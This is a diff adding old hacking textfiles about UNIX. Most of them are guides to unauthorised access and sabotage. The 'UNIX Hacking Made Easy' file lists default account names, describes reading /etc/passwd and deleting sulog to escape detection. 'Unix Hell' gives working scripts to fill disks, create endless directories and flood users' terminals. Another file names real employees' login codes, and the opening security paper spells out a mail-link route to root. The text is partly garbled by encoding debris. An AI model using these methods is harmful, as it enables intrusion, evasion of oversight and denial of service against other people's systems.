systems and software.At issue is the ability to prevent undesired disclosure of
information, destruction of information,and harm to the functioning of the
system.This paper discusses the degree of security which can be provided under
the system and offers a number of hints on how to improve security.The first
fact to face is that UNIX was not developed with security,in any realistic
sense,in mind;this fact alone guarantees a vast number of holes.(Actually the
same statement can be made with respect to most systems.)
The area of security in which is theoretically weakest is in protecting against
crashing or at least crippling the operation of the system.The problem here is
not mainly in uncritical acceptance of bad parameters to system calls (there
may be bugs in this area, but none are known)but rather in lack of checks for
excessive consumption of resources.
Most notably, there is no limit on the amount of disk storage used, either in
total space allocated or in the number of files or directories.Here is a
particularly ghastly shell sequence guaranteed to stop the system:
while : ; do
mkdir x
cd x
done
Either a panic will occur because all the i-nodes on the device are used up,
or all the disk blocks will be consumed, thus preventing anyone from writing
files on the device.In this version of the system,users are prevented from
creating more than a set number of processes simultaneously,so unless users
are in collusion it is unlikely that any one can stop the system altogether.
However, creation of 20 or so CPU or disk-bound jobs leaves few resources
available for others.Also, if many large jobs are run simultaneously,swap space
may run out, causing a panic. It should be evident that excessive consumption
of diskspace, files, swap space and processes can easily occur accidentally in
malfunctioning programs as well as at command level.In fact UNIX is essentially
defenseless against this kind of abuse,nor is there any easy fix.The best that
can be said is that it is generally fairly easy to detect what has happened
when disaster strikes ,to identify the user responsible, and take appropriate
action.In practice,we have found that difficulties in this area are rather
rare,but we have not been faced with malicious users,and enjoy a fairly
generous supply of resources which have served to cushion us against accidental
overconsumption.
The picture is considerably brighter in the area of protection of information
from unauthorized perusal and destruction.Here the degree of security seems
(almost) adequate theoretically, and the problems lie more in the necessity for
care in the actual use of the system.Each UNIX file has associated with it
eleven bits of protection information together with a user identification
number and a user-group identification number (UID and GID).
Nine of the protection bits are used to specify independently permission to
read, to write, and to execute the file to the user himself, to members of the
user's group, and to all other users.Each process generated by or for a user
has associated with it an effective UID and a real UID, and an effective and
real GID.When an attempt is made to access the file for reading, writing, or
executing UID for the process is changed to the UID associated with the file;
the change persists until the process terminates or until the UID changed again
by another execution of a set-UID file.Similarly the effective group ID of a
process is changed to the GID associated with a file when that file is executed
and has the set-GID bit set.The real UID and GID of a process do not change
when any file is executed,but only as the result of a privileged system
call.The basic notion of the set-UID and set-GID bits is that one may write a
program which is executableby others and which maintains files accessible to
others only by that program.
The classical example is the game-playing program which maintains records of
the scores of its players.The program itself has to read and write the score
file,but no one but the game's sponsor can be allowed unrestricted access to
the file lest they manipulate the game to their own advantage.
The solution is to turn on the set-UID bit of the game program. When, and only
when,it is invoked by players of the game,it may update the score file but
ordinary programs executed by others cannot access the score. There are a
number of special cases involved in determining access permissions. Since
executing a directory as a program is a meaningless operation,the
execute-permission bit, for directories, is taken instead to mean permission to
search the directory for a given file during the scanning of a path name; thus
if a directory has execute permission but no read permission for a given user,
he may access files with known names in the directory,but may not read (list)
the entire contents of the directory.
Write permission on a directory is interpreted to mean that the user may create
and delete files in that directory;it is impossible for any user to write
directly into any directory..Another, and from the point of view of security,
much more serious special case is that there is a ``super user'' who is able to
read any file and write any non-directory.The super-user is also able to change
the protection mode and the owner UID and GID of any file and to invoke
privileged system calls.It must be recognized that the mere notion of a
super-user is a theoretical, and usually practical, blemish on any protection
scheme.
The first necessity for a secure system is of course arranging that all files
and directories have the proper protection modes.Traditionally, UNIX software
has been exceedingly permissive in this regard;essentially all commands create
files readable and writable by everyone.In the current version,this policy may
be easily adjusted to suit the needs ofthe installation or the individual user.
Associated with each process and its descendants is a mask, which is in effect
anded with the mode of every file and directory created by that process. In
this way, users can arrange that, by default,all their files are no more
accessible than they wish.The standard mask, set by login,allows all permiss-
ions to the user himself and to his group,but disallows writing by others.
To maintain both data privacy and data integrity,it is necessary, and largely
sufficient,to make one's files inaccessible to others. The lack of sufficiency
could follow from the existence of set-UID programs created by the user and the
possibility of total breach of system security in one of the ways discussed
below(or one of the ways not discussed below).
For greater protection,an encryption scheme is available.Since the editor is
able to create encrypted documents, and the crypt command can be used to pipe
such documents into the other text-processing programs,the length of time
during which clear text versions need be available is strictly limited.The
encryption scheme used is not one of the strongest known, but it is judged
adequate, in the sense that cryptanalysisis likely to require considerably more
effort than more direct methods of reading the encrypted files.For example, a
user who stores data that he regards as truly secret should be aware that he is
implicitly trusting the system administrator not to install a version of the
crypt command that stores every typed password in a file. Needless to say, the
system administrators must be at least as careful as their most demanding user
to place the correct protection mode on the files under their control.
In particular,it is necessary that special files be protected from writing, and
probably reading, by ordinary users when they store sensitive files belonging
to otherusers.It is easy to write programs that examine and change files by
accessing the device on which the files live.
On the issue of password security,UNIX is probably better than most systems.
Passwords are stored in an encrypted form which, in the absence of serious
attention from specialists in the field,appears reasonably secure, provided its
limitations are understood.In the current version, it is based on a slightl y
defective version of the Federal DES;it is purposely defective so that
easily-available hardware is useless for attempts at exhaustive
key-search.Since both the encryption algorithm and the encrypted passwords are
available,exhaustive enumeration of potential passwords is still feasible up to
a point.We have observed that users choose passwords that are easy to
guess:they are short, or from a limited alphabet, or in a dictionary.
Passwords should be at least six characters long and randomly chosen from an
alphabet which includes digits and special characters.
Of course there also exist feasible non-cryptanalytic ways of finding out
passwords.For example: write a program which types out ``login:''on the
typewriter and copies whatever is typed to a file of your own. Then invoke the
command and go away until the victim arrives..The set-UID (set-GID)notion must
be used carefully if any security is to be maintained. The first thing to keep
in mind is that a writable set-UID file can have another program copied onto
it.
For example, if the super-user command is writable,anyone can copy the shell
onto it and get a password-free version of Shell Unix.A more subtle problem can
come from set-UID programs which are not sufficiently careful of what is fed
into them.To take an obsolete example,the previous version of the mail command
was set-UID and owned by the super-user.This version sent mail to the r
ecipient's own directory.The notion was that one should be able to send mail to
anyone even if they want to protecttheir directories from writing. The trouble
was that mailwas rather dumb:anyone could mail someone else's priva te file to
himself.Much more seriousis the following scenario: make a file with a line
like one in the password filewhich allows one to log in as the super-user.Then
make a link named ``.mail'' to the password file in some writable directory on
the same device as the password file (say /tmp). Finally mail the bogus login
line to /tmp/.mail;You can then login as the superuser,clean up the
incriminating evidence,and have your will.
The fact that users can mount their own disks and tapes as file systems can be
another way of gaining super-user status.Once a disk pack is mounted, the
system believes what is on it.Thus one can take a blank disk pack,put on it
anything desired,and mount it.There are obvious and unfortunate consequences.
For example:a mounted disk with garbage on it will crash the system;one of the
files on the mounted disk can easily be a password-free version of Shell Unix;
other files can be unprotected entries for special files. The only easy fix
for this problem is to forbid the use of mount to unpriv- ileged users.A
partial solution, not so restrictive,would be to have the mount command examine
the special file for bad data,set-UID programs owned by others ,and accessible
special files,and balk at unprivileged invokers.
Removed from Berkely Unix System by the Terminal Technician with glee....
--------------------------------------------------------------------------
This file passed through the DEAD ZONE. It is a phun place, and you
really should call it @ (303) 468-8069. 300/1200/2400, 24 hours, 7 days.
A RING-BACK system:
Call Once, let ring 1-2 times, HANG UP.
Call back 20-45 seconds later and the system will answer.
There is no way to connect on the first call, so don't let it ring a
bunch of times or you'll get an answering machine.
Downloaded From P-80 Systems 304-744-2253

160
textfiles.com/hacking/UNIX/unixhak3.hac Normal file
View File

@@ -0,0 +1,160 @@
* Things To Know *
* About Unix *
* *
* typed and uploaded *
* By *
* Sir Charles Hansen *
The Unix operating system is one of the many operateing systems that the
telephone companies use along with big businesses. The information that is
contained in this article came from experimentation on the Northwestern Bell
computer in Omaha, Ne. The last phone number to the system was: 402-342-1239.
When logging onto the Unix system you must enter the logcode and pass- word
in lowercase. Most Unix system logcodes contain 3 letters (i.e. some of the
working ones when I was exper- imenting on the N.B. Unix system were: rld,
glc, rwd, djr, skm, rrc, chg, wgg, sgs, efo, lcs, jrp, glh, glry, stein. Note:
Some logcodes have more than 3 letters.) Also, from what I can tell is that the
logcodes are generated with the persons name, most of the time anyway (i.e.
Ruth Dempster's log- code is:rld Gary Coe's logcode is:glc Don Romain's logcode
is:djr Eino Onk- ka's logcode is:efo Note: there are some cases where this is
not true like: Jeff Stein's logcode is:stein and Bob Dietrich's logcode
is:rwd)
Passwords are a little tricky but then again some of the people who work for
the telephone co. are not that smart. An example of this is some people like
useing there last name for there password or maybe there first, yet another is
maybe the will use a computer related password like 'floppys' But trying to
find a password other than there name is a task that most people do not want
to attempt, even me. To help us in finding the users on line and getting
users logcodes we need to know a simple command which is 'phone' this is a
handy little command which allows you to see who is online at that particular
time and also get there logcodes and business phone numbers. The following
is an example of a 'phone' listing:
rld Ruth Dempster NPA-XXX-XXXX
glc Gary Coe NPA-XXX-XXXX
rwd Bob Dietrich NPA-XXX-XXXX
djr Don Romain NPA-XXX-XXXX
skm Sharon Matcha NPA-XXX-XXXX
chg Chuck Gray NPA-XXX-XXXX
wgg Gary Giles NPA-XXX-XXXX
sgs Steve Schlosser NPA-XXX-XXXX
efo Eino Onkka NPA-XXX-XXXX
lcs Lin Sletten NPA-XXX-XXXX
jrp John Piper NPA-XXX-XXXX
glh Gary Humphrey NPA-XXX-XXXX
glry Al Ryerson NPA-XXX-XXXX
stein Jeff Stein NPA-XXX-XXXX
" " "
" " "
" " "
" " "
From the above listing we have acquired logcodes and the persons name that
matches the logcode along with there business phone number.
One last little note is that on the Northwestern Bell Unix system is that
you can type 'mesg n' and it will keep everyone from finding out what you are
doing, like the operator on duty at that particular time. I do not know if
this is true on other systems though.
If you would like to know more about the Unix system or hacking a system
then you should read the hacking files concerning Cosmos, Data General, Vax,
ect.
This file is written for Blottoland, and M.B.B., it can be used on RACS III,
W.O.P.R., and Crowley Manor.
--------------------------------------------------------------------------
This file passed through the DEAD ZONE. It is a phun place, and you
really should call it @ (303) 468-8069. 300/1200/2400, 24 hours, 7 days.
A RING-BACK system:
Call Once, let ring 1-2 times, HANG UP.
Call back 20-45 seconds later and the system will answer.
There is no way to connect on the first call, so don't let it ring a
bunch of times or you'll get an answering machine.
Downloaded From P-80 Systems 304-744-2253

94
textfiles.com/hacking/UNIX/unixhck.hac Normal file
View File

@@ -0,0 +1,94 @@
****> UNIX Hacking Made Easy <****
Brought to you by Shadow Lord (Shadow)
-Background-
UNIX is one of the most commonly used systems. Many small businesses and
a few corporations run a UNIX system accessible by modem. Most UNIX systems
run 1200 and 2400 baud modems, but a few of the older ones still use 300. UNIX
is used for programming, mail, and various programs can be run from it. UNIX
has suprisingly low security for such a widely-used system. Most of the
operators leave the default passwords in, even on the accounts in which the
user has no restrictions. This leaves UNIX systems wide open for hacking...
-Getting On-
I suggest using an exchange scanner (such as Code Thief or Fuckin' Hacker)
to find numbers of UNIX systems. When you call, make sure you are not using
ANSI-BBS emulation, UNIX does not support it, so everything will appear as
garbage. Once you connect, hit return a few times and the 'login:' prompt
should come up. UNIX systems are case-sensitive, so make sure you're using
lower-case. After the account name is entered, the 'Password:' prompt will
appear. Passwords are not echoed to the screen. If a correct account and
password are given, you will be given access and some prompt, shown as a $ or #
or some character of that sort will give you the go-ahead. I attempts, others give you unlimited tries.
Bad login attempts are not reported to the system operator, so you can try as
often as you like.
-Once You're Inside-
To find out what's in the directory that you're in, type 'ls' (list
files). You can change directories much like you can in MS-DOS, use 'cd'
(change directory) and than the name of the directory you want to go in. The
'ls' command does not specify what names are names of files and what names are
names of directories, but if you try to cd into a file it will tell you that
the directory is not valid. Use the 'rmdir' and 'mkdir' commands to make and
remove directories. 'rm' also removes a file. The 'passwd' commands lets you
change the password on the account that you're on. To find out who else is on,
use the 'who' command. This will display the account name and if they are
logged on locally or they are calling by modem (it will say tty01 or something
to that nature). The 'mail' command works by typing 'mail whoever' and it will
bring up the mail facility. Enter as much text as you like, and hit Cntrl-D to
send the message. The 'wall' (write all) command allows you to broadcast to
everyone logged on at the present time. ASCII uploads of regular or text files
can be used for mail or broadcasts. Try sending a very large program in a
message to the system operator if you'd like to piss him/her off.
The 'cat' (display file) command lets you look at the contents of any file
(format: cat filename). Hit Cntrl-D or escape or Cntrl-C (try them all; it
depends on the system) to abort this process. If you are on the root account,
you can use the 'su' (super-user) command to become the system operator (no
restrictions). The su is obviously ideal. UNIX has a very good help facility
which will give you an additional list of commands, etc.
-Useful Information-
In order to escape detection, go into the usr\adm directory and remove the
file call sulog. This is the system usage logfile, it contains the information
on who has called (like the last callers file on a bbs). Also, if you can get
into the directory called etc you should display the file called passwd. It
contains a list of all of the accounts and their passwords. Bad new, the
accounts that have passwords are encrypted. But as I said before, a lot of
people leave accounts unpassworded or at the default passwords. The format is:
ACCOUNT NAME:password:0:0:description of purpose:/directory
The 0:0 or whatever numbers show up are just some stuff you don't need, they
are restrictions. Lower numbers means higher access pretty much. But if one
account skips right from the account name to the numbers, than it is
unpassworded.
List Of Common UNIX Accounts
root super sa startup shutdown daemon sys bin adm ncrm uucp
nuucp sync lp admin sysadm unix rje guest demo sysbin
sysadmin PCpath asg standard suggest dosadm pcuser ackmail
altos informix r00t css backup gpcnet nobody ingress sysdiag
convert async ingres cron asg sysinfo network dos filepro gpc
Also try first names (all in lower case), and the name of the company (if you
know it). I have seen all of the above accounts on UNIX systems. root, sa,
super, adm, sysadm, and sysadmin are all high-level accounts. Some of the
accounts are unpassworded, others simply use the account name as the password
(what security!). The general rule is that after you enter account name at the
login: prompt, if the password prompt appears very quickly then the account you
have entered is not valid. If it takes a few seconds, then you've probably hit
a valid account.
-Close-
Downloaded From P-80 Systems 304-744-2253

312
textfiles.com/hacking/UNIX/unixhell.txt Normal file
View File

@@ -0,0 +1,312 @@
* Data Kult * <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> * Kryptic Night *
Lord Logics <20><> Raising <20><> Bounty Hunter
Shadow Walker <20><> Hell <20><> Nacht Habicht
- S M C - <20><> with Unix <20><> - S M C -
Realm of Infinity <20><>Kryptic Night<68><74> The Viking's Den
(503)629-0814 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (408)867-1224
SMC Home - S M C - Western Dist.
Production # 3
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I - Introduction
This file will describe several ways to cause mischief on a Unix system.
Like the other SMC Productions, I will try to present the information at a
beginners level. However, all levels of hackers should benefit in some way
from the information contained within. And now... on with our show...
II - How To Fill a Hard Disk
There are several ways to cause havoc by filling up a systems hard
disk. Filling up a hard disk will make it so that the system cannot create
the temporary files vital to it's efficient use. It will also cause other
problems, such as a person trying to save a 10 page financial report, and
finding that there is no room for it. Also, if the HD is full, the system
will not run properly. You will be bombarded by a continuous stream of
'write failed, file system is full'. Over all, this is a very good way to
piss people off.
Step One
Create the following file with the 'ed [filename]' utility under the
bourne shell, or the 'edit [filename]' under the C shell. The filename can
be whatever you want, here I will call it 'hah1'. Only type in what is
contained within '[]'s, the other text is what the system will send to
you.
$[ed hah1]
0
*[a]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[nohup hah1 &]
[^C]
*[w]
754
*[q]
$[chmod +r+w+x hah1]
$[nohup hah1 &]
1234
$
This will create a file called '-fucku!'. Files beginning with a '-'
are very difficult to delete, as when you try to do a 'rm -fucku!'
<rm - remove file> It interprets the '-f' as an option, it tries then
to force delete the file 'ucku!'. As you can imagine.... this wouldn't
quite work. The text after the echo can be anything you wish, I just
used a sample text that is quite pointless and takes up space. The numbers
represent the file size, and process number, they will be different on
your system.
The file will add the text from the echo statement to the file '-fucku!'
until it reaches the 'hah1 &' command, which will make it start over again.
This is an endless loop. For as long as you are on-line, and their are
processes left, the file will continue to add to the file. This is a
very slow method, but it's easy if you are starting from scratch. If
you get a message such as 'cannot fork hah1: process terminated' that means
that the loop is taking up so much memory that the system can no longer
continue with that job. Don't worry, it will settle back to normal after all
the processes are eventually killed, if it does, continue to run the file
in the background until you have a '-fucku!' file that is about 100-200k
long, this will allow us to progress to our next step.
The command 'nohup hah1 &' tells unix to continue to run the 'hah1'
in the background, even after you hangup. This means you can run the
program, hang up, and call back. This function will only work under
the bourne shell. If you have a prompt of '$', then you are using the
bourne shell. This function will become exceedingly useful when we
start with the next step.
The command 'chmod +r+w+x hah1' will make the file readable, writable, and
executable by you. This string may or may not be necessary on the system you
are using. If you get a message such as 'hah1: Permission Denied' than you
will need to use the chmod command. And now onto the next step...
Step Two
We will now explore the ever powerful 'cat' command. The 'cat' command
is the equivalent of the MS-DOS 'type' command. We will use a function
of the unix system called redirection that will allow us to 'cat' files
into each other. This will cause the source file to be copied to the end
of the destination file, I'm sure you're beginning to see the mischief
you can cause with this.
To begin with, create a file called '-fucku2' the same way you created
the '-fucku!' file. Try to run the 'hah1' program until the new 'fucku2'
file is around 100-200k also. This isn't absolutely necessary, but it's
helpful and saves some time.
Next, create the following file with the editor <'ed' or 'edit'>.
I will call it 'hah2', but you may call it whatever you wish.
$[ed hah2]
0
*[a]
[cat -fucku! >> -fucku2]
[cat -fucku2 >> -fucku!]
[no
hup hah2 &]
[^C]
*[w]
61
*[q]
$[chmod +r+w+x hah2]
$[nohup hah2 &]
7049
$
What we've just done is create a very short, and very nasty, program
that can fill 20 megs in under 5 minutes. The file when run will add the
contents of '-fucku!' to the end of '-fucku2', and do the reverse. This
means that when you have two files of 100k to begin with, you will get
the following results after every completed loop...
-fucku! .. -fucku2 .. -fucku! .. -fucku2
100k >> 200k >> 300k >> 500k
700k >> 1200k >> 1900k >> 3100k
As you can see, the file grows VERY quickly. Set it up in the morning
before school, come back and the HD should be completely full. You may
wish to also run multiple write processes, just to confuse the system.
If you do, rename the files to something appropriate, but maintain the
base content. If you do it in several directories, the sysop will have
to do some serious cleaning to get rid of it.
Step Three
Sit back and laugh. If you wait awhile, in approximately 30 minutes,
the average 40 meg hard drive will be full. I've tested this method on
several systems, even an ancient VAX, and the results were more or less
the same. The sysop, or any other user, will be able to write anything
onto the system until this problem is resolved. Many programs need
to create temporary files to even operate. These programs are now
completely unusable, except for the few that save to memory. To delete
the files, the sysop will have to do one of several things, all of which
are very unpleasant. And now for the next lesson...
III - Mischief
This section will describe a couple of ways of perpetrating mischief on a
unix system. These ideas are for the most part harmless, but can definitely
piss people off. The idea of a continuous subdir was molded from one
presented by Shooting Shark.
Idea #1
This method will create an endless amount of directories under a
the current directory. Create multiple files with different name and
directories to really annoy the 'sop. Type the following to accomplish this.
$[ed sub1]
0
*[a]
[mkdir -FuCkU!1]
[chdir -FuCkU!1]
[/xxx/xxx/sub1 &]
[^C]
*[w]
69
*[q]
$[chmod +r+w+x sub1]
$[nohup sub1 &]
7099
$
This program will create a directory called '-FuCkU!1', change to that
directory, then create another one under the first one, and so forth. It
is an endless loop, and will continue virtually forever. The third line
of the program contains a string '/xxx/xxx/sub1 &'. You will need to fill
in the x's with your current directory. To find out your current directory
type 'pwd' this will print a string telling which directory you are in.
Fill in the x's with this data. The rest of the program you should be able
to figure out by now. Try it, you'll like it.
Idea #2
So, you've seen someone on the system that you really don't like? Or do
you just want to piss someone off? This methods for you. This method will
describe a way to send out data to another user, or terminal. Here is what
you will want to type to create a file to anger the other user.
$[ed beep]
0
*[a]
[echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G >> /dev/xxxx]
[nohup beep &]
[^C]
*[w]
25
*[q]
$[chmod +r+w+x beep]
$[nohup beep &]
8002
$
Fill in the '/dev/xxxx' with the terminal you want to annoy. To find out
the terminal of the person you want to fuck over, type 'who' it will print
out something like this....
$[who]
guest ttyd0 Nov 30 19:06
root console Nov 30 19:20
Bendover ttyd5 Nov 30 18:45
$
The first column is the name of the user, the second column tells us
what terminal they are logged on as, and the third states at what time
they logged on. The second column is what we need right now. Fill in the
x's with the terminal that you wish. If you wanted to bother the root, you
would type '/dev/console', to bother guest type '/dev/ttyd0'. To bother
more than one terminal, just add another line after the first 'echo'
statement with a different terminal identifier. With the 'nohup' command,
the computer will send a continuous outpouring of beeps until he logs off
or reboots the system. Try it on the terminal you are logged on under to
see exactly what it does.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IV - Conclusion
These projects should be enough to get you started on your road to Unix
Hell. With a little experience you will be able to think of new ideas that
will alloy you access to the systems hidden features and assets. I will
release other files on Unix in the near future, possibly one on basic Unix
hacking, FTP, UUCP netting, or any number of other Unix related concepts.
If you are interested in learning more on Unix, you can contact me on the
systems at the top of the file. Thus concludes one dark Kryptic Night...
V - Bibliography and Suggested Reading
Unix Use and Security From the Ground Up: by the Prophet in 1986
This is probably the BEST file I've ever seen on the subject
of Unix. It is written for the beginner, and contains valuable
information for the advanced user. The Prophet became a member
of Lod/H and is currently serving a sentence of 20 months in
relation to the big Lod/H bust of '90.
Articles on unix trojans and mischief: by Shooting Shark
Shooting Shark presents some interesting information
on various ways to commit havoc on Unix systems.
You can find most of his essays in both Phrack and Lod
magazines.
Lod/H Tech Journals
The Legion of Doom/Hackers are perhaps the most skilled
and knowledgable hackers in the underground society.
Their 'Tech Journals' describe almost anything you'd ever
want to know about illegal activities.
Phrack Magazines
Phrack is also one of the best sources for information on
a multitude of subjects, ranging from social engineering,
to carding, to making explosives. For those with free time,
download all of the 32 articles released to date.
Creating Users on Unix
This was my second text file release. It tells how to
create new users on a Unix system using the root account.
It is told for beginner and advanced hacker alike.
VI - Greets
Heh, Data Kult, when you gettin' Kelsea's phone number?
Bounty Hunter, cool new software, hope you can work out the bugs.
Lord Logics, ega STILL? Come on! Get with it!
Scooter, chill with the 800's
Oolon, get Entropy back up!
Digital Derelict, Jerusalem is nothing.... you're going down... soon
|
| \
| /\/\ / <20>\ <20><><EFBFBD>
| / \ / <20> \ A <20> A
| / |/| / / \ <20> / <20> /
|/ | < \ <20>/ <20>/ U L T
|\ RYPTIC / | \ \ / <20>\
| \ / | \ <20> \
|\ | | \
| \ |
| \|IGHT
/ `
- Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter -
Nacht Habicht

2821
textfiles.com/hacking/UNIX/unixhold.txt Normal file
View File

File diff suppressed because it is too large Load Diff

BIN
textfiles.com/hacking/UNIX/unixinfo.hac Normal file
View File

Binary file not shown.

229
textfiles.com/hacking/UNIX/unixmyth.txt Normal file
View File

@@ -0,0 +1,229 @@
THE MYTHS OF UNIX
IS UNIX REALLY THAT BAD? IF NOT, THEN WHY IS IT SO SUCCESSFUL?
REPRINTED FROM THE FOURGEN UNIX JOURNAL
FOR YEARS NOW, WE'VE HEARD A LOT OF CRITICISM OF UNIX. WE'VE HEARD THAT
IT'S NON-STANDARD. IT'S TOO SLOW. IT'S TOO HARD TO USE. THERE ARE NO
APPLICATIONS THAT RUN UNDER IT. IT WILL BE REPLACED BY PICK, VM, CONCURRENT
DOS, OS/2, NETWORKS. THE LIST GOES ON AND ON.
MEANWHILE, EVERY MAJOR COMPUTER MANUFACTURER HAS BEEN RELEASING NEW
MACHINES THAT RUN UNDER UNIX. SEVERAL COMPANIES HAVE CONVERTED THEIR ENTIRE
COMPUTER LINE OVER TO UNIX-BASED HARDWARE. SOFTWARE COMPANIES THAT SELL UNIX
PRODUCTS ARE AMONG THE FASTEST GROWING IN THE SOFTWARE INDUSTRY. MORE AND MORE
MAJOR SOFTWARE MAKERS ARE RELEASING UNIX VERSIONS OF THEIR POPULAR PRODUCTS.
ACCORDING TO HARDWARE MANUFACTURERS, 15% OR MORE OF ALL NEW 386 SYSTEMS ARE
BEING SOLD TO SUPPORT UNIX OR XENIX.
IF THE CRITICS ARE CORRECT, THE MARKET MUST BE CRAZY. THE DISPARITY
BETWEEN WHAT WE'VE HEARD ABOUT UNIX AND WHAT IS HAPPENING IN THE MARKETPLACE
SHOULD MAKE US WONDER. IF UNIX IS SO BAD, WHY IS IT SO SUCCESSFUL? OR, TO
TAKE IT FROM ANOTHER ANGLE, WHY HAS UNIX BEEN SO MALIGNED DESPITE ITS
ACCEPTANCE IN THE MARKETPLACE?
WHY CRITICISM ABOUNDS
FIRST, LET ME MAKE MY POSITION CLEAR. MOST OF THE CRITICISM THAT'S HEARD
ABOUT UNIX IS SIMPLY INCORRECT. IT IS IGNORANCE PASSING AS INFORMATION. IN
THIS ARTICLE WE SHALL DISCUSS MANY OF THESE POPULAR MYTHS ABOUT UNIX, BUT FIRST
LET US CONSIDER WHY CRITICISM IS SO PLENTIFUL.
I GROUP UNIX CRITICS INTO THREE DIFFERENCE CATEGORIES.
FIRST, THERE ARE THE EXPERTS WHO ARE UNCOMFORTABLE WITH ANYTHING OUTSIDE
THEIR EXPERTISE. WHEN THIS TYPE OF PERSON ENCOUNTERS A NEW ENVIRONMENT, THEIR
NATURAL TENDENCY IS TO LOOK FOR ITS FLAWS. SINCE SO MANY OF TODAY'S "EXPERTS"
GREW UP IN THE SINGLE-USER MS-DOS WORLD, THEY HAVE LITTLE EXPERIENCE WITH THE
TYPE OF ENVIRONMENT REPRESENTED BY UNIX. WHEN THEY ARE EXPOSED TO IT, THEY ARE
INTIMIDATED AND, THEREFORE, CRITICAL.
NEXT, WE HAVE COMPETITORS. THESE CRITICS ARE SELLING PRODUCTS THAT
COMPETE WITH UNIX AND THEY ARE GOING TO FOCUS THE DEBATE ON THE WEAKNESSES OF
THEIR COMPETITION. SINCE UNIX DOESN'T HAVE AN ORGANIZED GROUP OF PROPONENTS,
ITS OPPONENTS HAVE CONTROLLED MUCH OF WHAT WE HEAR ABOUT THE OPERATING SYSTEM.
YOU CAN SAY ALMOST ANYTHING YOU WANT ABOUT UNIX AND NOT BE CHALLENGED TO
SUPPORT YOUR ACCUSATIONS.
FINALLY, WE HAVE THE PURISTS. THIS SPECIMEN IS AN IDEALIST FOR WHOM NO
PRODUCT IS FAST ENOUGH, EFFICIENT ENOUGH, SIMPLE ENOUGH, OR POWERFUL ENOUGH.
UNFORTUNATELY, MANY UNIX USERS THEMSELVES FALL INTO THIS CATEGORY. IT IS
PERHAPS A COMPLIMENT THAT UNIX ATTRACTS THIS KIND OF PERSON, WHEN SO MANY UNIX
EXPERTS TALK MAINLY ABOUT ITS DEFECTS. THE GENERAL PUBLIC CAN EASILY GET THE
WRONG IMPRESSION.
WHAT KINDS OF THINGS ARE THESE VARIOUS GROUPS SAYING ABOUT UNIX AND WHAT
IS TRUE?
MYTH #1: THERE IS NO "STANDARD" VERSION OF UNIX.
A STATEMENT CAN BE AT ONCE THE ABSOLUTE TRUTH AND VERY MISLEADING. THIS
IS PERHAPS THE MOST WIDELY MISUNDERSTOOD ASPECT OF UNIX. EVEN PEOPLE WORKING
ON UNIX SYSTEMS ARE UNDER THE GENERAL IMPRESSION THAT SOMEHOW THEIR SYSTEM IS
VERY DIFFERENT FROM OTHER PEOPLE'S UNIX SYSTEMS. WHAT MOST PEOPLE DON'T
UNDERSTAND IS THAT FOR ALL INTENTS AND PURPOSES, UNIX IS UNIX AND XENIX IS UNIX
AND A LOT OF OTHER THINGS ARE UNIX AS WELL.
THESE VARIOUS VERSIONS OF THE OPERATING SYSTEM ARE MORE SIMILAR THAN THEY
ARE DIFFERENT. THEY ARE, FOR EXAMPLE, MUCH MORE SIMILAR THAN 2.0 AND 3.0
